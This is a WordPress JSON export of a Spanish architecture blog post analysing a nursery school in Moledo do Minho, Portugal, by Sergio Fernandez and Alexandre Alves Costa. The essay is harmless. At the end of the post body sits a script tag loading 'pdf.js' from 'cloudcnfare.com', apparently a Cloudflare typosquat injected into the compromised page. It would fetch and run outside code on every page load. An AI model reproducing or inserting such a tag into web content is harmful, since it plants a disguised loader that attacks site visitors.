{"id":33650,"date":"2013-08-09T06:40:18","date_gmt":"2013-08-09T06:40:18","guid":{"rendered":"http:\/\/veredes.es\/blog\/?p=33650"},"modified":"2021-07-12T11:34:29","modified_gmt":"2021-07-12T09:34:29","slug":"infantario-en-moledo-una-guarderia-de-sergio-fernandez-y-alexandre-alves-costa-luis-gilcristina-nieto","status":"publish","type":"post","link":"https:\/\/veredes.es\/blog\/infantario-en-moledo-una-guarderia-de-sergio-fernandez-y-alexandre-alves-costa-luis-gilcristina-nieto\/","title":{"rendered":"\u201cInfantario en Moledo\u201d, una guarder\u00eda de Sergio Fernandez y Alexandre Alves Costa | Luis Gil Pita &#8211; Cristina Nieto Pe\u00f1amar\u00eda"},"content":{"rendered":"<p><\/p>\n<p style=\"text-align: justify;\"><strong>Dominio, espacio a nuestra vuelta y borde<\/strong><\/p>\n<p style=\"text-align: justify;\">Dominio es control del espacio a nuestro alrededor, de las cosas del entorno en la distancia marcada por la funci\u00f3n a realizar y no s\u00f3lo. Marcas y distancias dadas por los usos a practicar desde un lugar original. Dominio es tambi\u00e9n buscar sitio, localizarse, ubicarse y asentarse, tarea nada f\u00e1cil, y de igual forma distribuir, reorganizar, equilibrar, ya sea de manera espont\u00e1nea como en la naturaleza o de forma planeada como hace la arquitectura.<\/p>\n<p style=\"text-align: justify;\">El conflicto es la marca que se\u00f1ala donde terminan o empiezan otros espacios colindantes. De la posible armonizaci\u00f3n de ese conflicto resultar\u00e1 la naturaleza de lo colectivo, un reequilibrio de fuerzas que organiza la colonizaci\u00f3n de los espacios y los intersticios que permiten los pasos y movimientos. S\u00f3lo hay que observar la disposici\u00f3n de los cuerpos en las abarrotadas playas en \u00e9poca estival.<\/p>\n<figure id=\"attachment_33656\" aria-describedby=\"caption-attachment-33656\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-33656\" title=\"escolamoledo-(1)\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo-1.jpg\" alt=\"\" width=\"620\" height=\"262\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo-1.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo-1-300x126.jpg 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-33656\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Guarder\u00eda en Moledo do Minho. Portugal |\u00a0Im\u00e1genes cedidas por Atelier 15 (Sergio Fernandez-Alexandre Alves Costa)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Se usa, se ocupa m\u00e1s que lo propiamente substancial. Las personas, los animales y las cosas parecen extenderse, debido a su naturaleza y a las funciones que le son propias, m\u00e1s all\u00e1 de su \u00e1mbito o espacio f\u00edsico primero, como si fueran minerales radiactivos o metales magnetizados, igual que nos quemamos con la energ\u00eda del fuego antes de tocar la llama.<\/p>\n<p style=\"text-align: justify;\"><strong>Una guarder\u00eda y su opuesto<\/strong><\/p>\n<p style=\"text-align: justify;\">Cada d\u00eda m\u00e1s, hay que dar las gracias por tener tan cerca de la mano obras de arquitectura de gran altura, que aunque no se dejen ver, por pudor, si se dejan descubrir con un peque\u00f1o esfuerzo. Algunas de estas arquitecturas est\u00e1n tan pr\u00f3ximas que se confunden en la frontera entre dos pa\u00edses, entre Galicia y Portugal. Uno de esos espacios liminares de encuentro arquitect\u00f3nico es Moledo do Minho en Caminha, lugar de extraordinaria densidad de peque\u00f1as-enormes arquitecturas y de nombres que han dado tanto a la arquitectura contempor\u00e1nea portuguesa como a la europea, y en particular tambi\u00e9n a nosotros los arquitectos espa\u00f1oles un gran ejemplo. Quer\u00edamos hablar en estas escasas letras quiz\u00e1s de la m\u00e1s peque\u00f1a, humilde y tal vez desconocida de estas arquitecturas, el infantario de Moledo, que junto a otros peque\u00f1os equipamientos y casas de los arquitectos Sergio Fernandez- Alexandre Alves Costa (Atelier 15), Alvaro Siza, Souto de Moura y otros hablan de la intensidad y alta cultura arquitect\u00f3nica de Portugal.<\/p>\n<p style=\"text-align: justify;\">Una guarder\u00eda en Moledo do Minho que ilustra el crecimiento de un proyecto a trav\u00e9s de la correcta interpretaci\u00f3n del uso, de la funci\u00f3n, de la dimensi\u00f3n que ambos generan, tanto en la concreci\u00f3n del espacio \u00a0interior de cada una de las piezas como en su articulaci\u00f3n general en la planta de situaci\u00f3n. Una figura pura, el cuadrado, a\u00f1adida a s\u00ed misma las veces precisas, tres, compone la planta general. Un mismo elemento que se construye bajo la misma t\u00e9cnica, bajo una misma configuraci\u00f3n, pero que alcanza significados finales bien distintos, aunque complementarios. El primer volumen, que se repite en espejo para configurar el acceso, se llena, se cierra recogiendo las funciones demandadas y propias a una guarder\u00eda, alrededor de una estufa y un mueble que organiza el n\u00facleo central. El segundo, transici\u00f3n al patio, se vac\u00eda, se hace permeable y se puede cruzar. Es un espacio exterior con la misma configuraci\u00f3n arquitect\u00f3nica que los anteriores. Es abierto pero garantiza la protecci\u00f3n frente a la inclemencia exterior primera, la lluvia. Tambi\u00e9n es una guarder\u00eda y no. Uno es espacio cerrado, para impartir aulas a calentar por una chimenea, el otro abierto, con un n\u00facleo de arena y agua para el juego, es atravesable y transparente.<\/p>\n<figure id=\"attachment_33659\" aria-describedby=\"caption-attachment-33659\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo21.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-33659\" title=\"escolamoledo2\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo21.jpg\" alt=\"\" width=\"620\" height=\"374\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo21.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/escolamoledo21-300x180.jpg 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-33659\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Guarder\u00eda en Moledo do Minho. Portugal | Im\u00e1genes cedidas por Atelier 15 (Sergio Fernandez-Alexandre Alves Costa)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Aun as\u00ed, alterando claramente las funciones, las dimensiones que esos usos dispares y opuestos ofrecen son parejas y la arquitectura escapa a la forma para representarse s\u00f3lo en la dimensi\u00f3n, en la distancias, en las separaciones entre las cosas.<\/p>\n<p style=\"text-align: justify;\">Arquitectura que resulta de un sosegado y sutil \u00a0juego de opuestos, en la b\u00fasqueda de equilibrio al problema de lo encontrado y antit\u00e9tico, llenar y vaciar, Twin Phenomena a la manera de Aldo van Eyck. Subvertir y que la arquitectura como resultado d\u00e9 lo mismo: botella vac\u00eda que comienza a llenarse por abajo y botella llena que ha de vaciarse primero por arriba y que al final, vaciando o llenando, la magia de la aut\u00e9ntica arquitectura permanezca inalterable.<\/p>\n<figure id=\"attachment_33658\" aria-describedby=\"caption-attachment-33658\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/6-Escola-Moledo-1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-33658\" title=\"6-Escola-Moledo-(1)\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/6-Escola-Moledo-1.jpg\" alt=\"\" width=\"620\" height=\"409\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/6-Escola-Moledo-1.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/6-Escola-Moledo-1-300x197.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2013\/08\/6-Escola-Moledo-1-160x105.jpg 160w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-33658\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Guarder\u00eda en Moledo do Minho. Portugal |\u00a0Im\u00e1genes cedidas por Atelier 15 (Sergio Fernandez-Alexandre Alves Costa)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Existe siempre un n\u00facleo fundamental, origen que hace de referencia y desde donde se proyecta cierta energ\u00eda hacia el exterior, donde al final nace la forma. Ese origen, funci\u00f3n o uso, es el que m\u00e1s tarde formula la arquitectura, funci\u00f3n que crece y se prolonga d\u00e1ndonos la dimensi\u00f3n con la que trabajaremos. Reglas del juego, marcas que lo organizan y limitan y que se convertir\u00e1n en las l\u00edneas pintadas en el suelo del campo de juego, como las paredes y los muros de cerramiento de la arquitectura pero de altura cero y todo ello mucho antes del procurado equilibrio forma-funci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">Luis Gil+Cristina Nieto. arquitectos<br \/>\nsantiago de compostela. agosto 2013<\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #888888;\">* Texto entresacado del elaborado para un aula a los alumnos de proyecto\u00a0 de la Facultad de Arquitectura de Oporto, FAUP , en Mayo de 2003 de t\u00edtulo: <em>Dominio, espacio a nuestra vuelta y borde. Una guarder\u00eda de Sergio Fern\u00e1ndez y Alexandre Alves Costa y tres casas de Manuel Gallego.<\/em><\/span><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Dominio, espacio a nuestra vuelta y borde Dominio es control del espacio a nuestro alrededor, de las cosas del entorno en la distancia marcada por la funci\u00f3n a realizar y no s\u00f3lo. Marcas y distancias dadas por los usos a practicar desde un lugar original. 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Becado de investigaci\u00f3n en Holanda en 2000-1, con un estudio sobre lo fronterizo y liminar en arquitectura, por la Diputaci\u00f3n de A Coru\u00f1a, fue posteriormente Profesor invitado en el \u00e1rea de proyectos de la Facultad de Arquitectura de Guimar\u00e1es, Universidade do Minho, del 2001 hasta el 2007. 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